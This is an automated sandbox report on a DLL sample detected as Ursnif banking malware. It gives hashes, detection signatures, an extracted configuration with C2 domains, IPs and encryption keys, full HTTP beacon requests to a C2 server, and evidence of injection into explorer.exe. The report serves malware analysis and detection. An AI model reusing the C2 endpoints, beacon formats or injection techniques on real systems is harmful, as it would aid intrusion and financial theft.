Windows Analysis Report
rXN8OIpbzz

Overview

General Information

Sample Name: rXN8OIpbzz (renamed file extension from none to dll)
Analysis ID: 620156
MD5: 6e21e2268df053e95557a2157ff33103
SHA1: efeefb5833b881475bd421da29719d578babb90c
SHA256: 22a462b2da9c893b5f37dbbc19697d6aeaa28758c2338fca3a806e8d9d3ac483
Tags: dllgozi_ifsbursnif3000
Infos:

Detection

Ursnif
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Found malware configuration
Multi AV Scanner detection for submitted file
Yara detected Ursnif
System process connects to network (likely due to code injection or exploit)
Snort IDS alert for network traffic
Writes to foreign memory regions
Machine Learning detection for sample
Uses ping.exe to check the status of other devices and networks
Self deletion via cmd delete
Uses ping.exe to sleep
Injects code into the Windows Explorer (explorer.exe)
Creates a thread in another existing process (thread injection)
Writes registry values via WMI
Uses 32bit PE files
Queries the volume information (name, serial number etc) of a device
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
May sleep (evasive loops) to hinder dynamic analysis
Uses code obfuscation techniques (call, push, ret)
PE file contains sections with non-standard names
Internet Provider seen in connection with other malware
Detected potential crypto function
Contains functionality to query CPU information (cpuid)
Contains functionality to launch a process as a different user
Sample execution stops while process was sleeping (likely an evasion)
Contains functionality to call native functions
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Contains long sleeps (>= 3 min)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Sample file is different than original file name gathered from version info
PE file contains an invalid checksum
Searches for the Microsoft Outlook file path
PE file contains strange resources
Drops PE files
Uses a known web browser user agent for HTTP communication
Found evasive API chain checking for process token information
Checks if the current process is being debugged
Compiles C# or VB.Net code
Uses Microsoft's Enhanced Cryptographic Provider
Creates a process in suspended mode (likely to inject code)

Classification

AV Detection
barindex
Found malware configuration
Source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp Malware Configuration Extractor: Ursnif {"RSA Public Key": "WDHdIpDR32hiBF82vKyfbd4Aeqb2endsG7KPr9+PRwpFwh6xHOPeXmivTfHV1J5O9BbOekXP+fpLTlNw78j8NdT4sNAaVFSXIxeuXWdoUw6r5lOTidqS1cBNYe3P3AFASRESMg14/OvBfHcw2QScm4OJeiHSYe26nzRyCo9Bsx0twNSvxA9Ev6ecU3aTGDNOX6EO6pfJFTv3oxkLljtitiqLzJjGUeio8ebUBdVSKBHjVo6ZyneL/fS9OUJFMNJ7HNXH2S3/amCXZuSmGf5nGAp2ln8QhGUUaVVkgcswKSlhcM0caruAqxzK8wdEz4NJO3xL/S8BTA8Kjk8SIMljp4q8BLwzx+qosOvcvZK8zl8=", "c2_domain": ["config.edge.skype.com", "cabrioxmdes.at", "gamexperts.net", "185.189.151.181", "185.189.151.186"], "ip_check_url": ["http://ipinfo.io/ip", "http://curlmyip.net"], "serpent_key": "Jv1GYc8A8hCBIeVD", "tor32_dll": "file://c:\\test\\test32.dll", "tor64_dll": "file://c:\\test\\tor64.dll", "server": "50", "sleep_time": "1", "SetWaitableTimer_value(CRC_CONFIGTIMEOUT)": "60", "time_value": "60", "SetWaitableTimer_value(CRC_TASKTIMEOUT)": "60", "SetWaitableTimer_value(CRC_SENDTIMEOUT)": "300", "SetWaitableTimer_value(CRC_KNOCKERTIMEOUT)": "60", "not_use(CRC_BCTIMEOUT)": "10", "botnet": "3000", "SetWaitableTimer_value": "1"}
Multi AV Scanner detection for submitted file
Source: rXN8OIpbzz.dll ReversingLabs: Detection: 40%
Machine Learning detection for sample
Source: rXN8OIpbzz.dll Joe Sandbox ML: detected
Uses Microsoft's Enhanced Cryptographic Provider
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C75FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_04C75FBB
Uses 32bit PE files
Source: rXN8OIpbzz.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Source: Binary string: tr0.Pdb source: csc.exe, 00000013.00000003.432123181.0000020BAB5E2000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000002.432715372.0000020BAB5E4000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431620364.0000020BAB5DF000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431571304.0000020BAB5D5000.00000004.00000020.00020000.00000000.sdmp, csc.exe, 00000013.00000003.431604960.0000020BAB5D9000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ntdll.pdb source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
Source: Binary string: d:\in\the\town\where\ahung.pdb source: rXN8OIpbzz.dll
Source: Binary string: ntdll.pdbUGP source: rundll32.exe, 00000003.00000003.453885156.00000000060F0000.00000004.00001000.00020000.00000000.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB65C2 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 3_2_04CB65C2
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB99BC lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 3_2_04CB99BC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCBAD1 lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 3_2_04CCBAD1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBFD47 wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 3_2_04CBFD47

Networking
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 185.189.151.28 80 Jump to behavior
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49770 -> 13.107.43.16:80
Source: Traffic Snort IDS: 2033204 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M2 (_2F) 192.168.2.3:49820 -> 185.189.151.28:80
Source: Traffic Snort IDS: 2033203 ET TROJAN Ursnif Variant CnC Beacon - URI Struct M1 (_2B) 192.168.2.3:49820 -> 185.189.151.28:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AS-SOFTPLUSCH AS-SOFTPLUSCH
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: unknown TCP traffic detected without corresponding DNS query: 185.189.151.28
Source: rundll32.exe, 00000003.00000003.393829384.0000000002E21000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/
Source: rundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGm
Source: rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOf
Source: rundll32.exe, 00000003.00000003.403377940.0000000002E03000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393803385.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501297168.0000000002DBA000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.403395449.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000002.501364119.0000000002E13000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000003.00000003.393793161.0000000002E03000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.189.151.28/drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2
Source: rundll32.exe, 00000003.00000003.393793161.0000000002E03000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://config.edge.skype.com/drew/sfsR2EvFJVPpjzK/_2F3BoHT0GZYMOPHQ3/2aosaOv_2/FvhUxykM9XmRrxizW8RT/
Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txt
Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://constitution.org/usdeclar.txtC:
Source: rundll32.exe, 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://https://file://USER.ID%lu.exe/upd
Source: explorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.mi
Source: explorer.exe, 00000019.00000000.606043556.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.491143563.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000019.00000000.471987520.000000000D9F0000.00000004.00000001.00020000.00000000.sdmp String found in binary or memory: http://schemas.micr
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C71CA5 ResetEvent,ResetEvent,InternetReadFile,GetLastError,ResetEvent,InternetReadFile,GetLastError, 3_2_04C71CA5
Source: global traffic HTTP traffic detected: GET /drew/cVbBCVAVC_2BrfCTTliq4D/TR89j_2FDMhBC/Rx3lDg61/HvgZB2J7R7VD_2FxHgth09P/H_2Fp_2B0K/lT2QuoqZm8BQycZwQ/H4nFd1cHmG_2/B8ivI_2F0O9/bJq8uYFSa5v9Ij/oSxEbcCz5_2FkNItSz7M7/RsUqbQcn0xtbFLfk/s_2BoKVrnDqJChc/UQqpJa6I6sYnVdkvyr/aVGGIz6zI/ZEQtOcGy53_2B5iYxze_/2BYqRtgImRp7tBA6q9P/SewC3o45SwnJ_2BNfdtGRr/1q9JxgDBH/3.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/21j59p5h/aMY7pIvB814fHQzA54TmstP/6F84QjrY8T/SpaWCfEUD_2FnWXvC/rEqVxZeDiGmB/EVC7r5ALKWg/9SLUGnIzpxcWYM/xuMBfgGVcmtRuQEdnu_2F/z6aCj8Veiw_2FLpI/klXzvSCm2R4EgNj/tX1BLPzJEB4fd6nZGQ/ASaXUuL8G/Cb1hq1kHRkSzUSxa9avd/CLUWUoeV5nKWyDrb3Sa/Aw0B4o70zU_2B7Hjx9TwWi/5WU7_2FRUtVgO/Qd4d0Z1_2Bvo/b7ociWkm.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /drew/SE7WZ12eEzLDbcY/ReHD9U37IHMRdNMyX0/f61fYgNDH/xkc3DHorIjF18_2BtcDI/NMTbVOfmJtH6P_2FDxg/fYP24ZJpA_2BXAD0LiynfR/sY7KfedmKK4eh/fSjWb6Xu/fAf6iEN7Rblzydam2OSbiSx/Vw6Cb_2Bbg/Vc9aYir_2By_2BYAt/7uRRpr7mVOmx/v_2F66pvHXt/nmtBefhmAX5DJk/ied6XVEApSsG8HlMS4KeZ/kP7pKEMCKNfzyZum/QUL8CnndyLC0Xcl/NmgSkYn.jlk HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 10.0)Host: 185.189.151.28Connection: Keep-AliveCache-Control: no-cache

Key, Mouse, Clipboard, Microphone and Screen Capturing
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

E-Banking Fraud
barindex
Yara detected Ursnif
Source: Yara match File source: 00000003.00000003.349012704.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.448354217.00000000060D8000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348921870.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348876810.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349079600.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.393934520.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.395608793.000000000504C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000003.453774507.0000027B6DC1C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.349095553.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348687637.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348979060.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394913603.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.348760397.0000000005248000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 6240, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 3172, type: MEMORYSTR
Source: Yara match File source: 3.2.rundll32.exe.4c70000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.4b994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51c94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.51f6b40.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.3.rundll32.exe.514a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000003.00000003.394753510.000000000514A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.394820050.00000000051C9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501779377.0000000004ECF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000003.500530669.0000000004B99000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C75FBB CryptAcquireContextW,memcpy,CryptImportKey,CryptSetKeyParam,memcpy,CryptEncrypt,CryptDecrypt,GetLastError,GetLastError,CryptDestroyKey,GetLastError,CryptReleaseContext,GetLastError, 3_2_04C75FBB

System Summary
barindex
Writes registry values via WMI
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Uses 32bit PE files
Source: rXN8OIpbzz.dll Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C7829C 3_2_04C7829C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C71645 3_2_04C71645
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C74BF1 3_2_04C74BF1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CD3DB0 3_2_04CD3DB0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC154D 3_2_04CC154D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB67CA 3_2_04CB67CA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCD7F1 3_2_04CCD7F1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCFF4D 3_2_04CCFF4D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBB238 3_2_04CBB238
Contains functionality to launch a process as a different user
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC8E57 CreateProcessAsUserW, 3_2_04CC8E57
Contains functionality to call native functions
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C7190C GetProcAddress,NtCreateSection,memset, 3_2_04C7190C
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C76D0A NtMapViewOfSection, 3_2_04C76D0A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C74321 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_04C74321
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04C784C1 NtQueryVirtualMemory, 3_2_04C784C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CB74AE NtQueryInformationProcess, 3_2_04CB74AE
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CBC431 NtOpenProcess,NtOpenProcessToken,NtQueryInformationToken,NtQueryInformationToken,NtQueryInformationToken,memcpy,NtClose,NtClose, 3_2_04CBC431
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC0782 memset,NtWow64QueryInformationProcess64,GetProcAddress,NtWow64QueryInformationProcess64, 3_2_04CC0782
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC00DC RtlInitializeCriticalSection,RtlInitializeCriticalSection,memset,RtlInitializeCriticalSection,CreateMutexA,GetLastError,GetLastError,CloseHandle,GetUserNameA,GetUserNameA,RtlAllocateHeap,GetUserNameA,NtQueryInformationProcess,OpenProcess,GetLastError,CloseHandle,GetShellWindow,GetWindowThreadProcessId,memcpy,CreateEventA,CreateEventA,RtlAllocateHeap,OpenEventA,CreateEventA,GetLastError,LoadLibraryA,SetEvent,RtlAllocateHeap,wsprintfA, 3_2_04CC00DC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CCA806 NtWow64ReadVirtualMemory64,GetProcAddress,NtWow64ReadVirtualMemory64, 3_2_04CCA806
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 3_2_04CC61AE GetProcAddress,NtWow64QueryInformationProcess64,StrRChrA, 3_2_04CC61AE
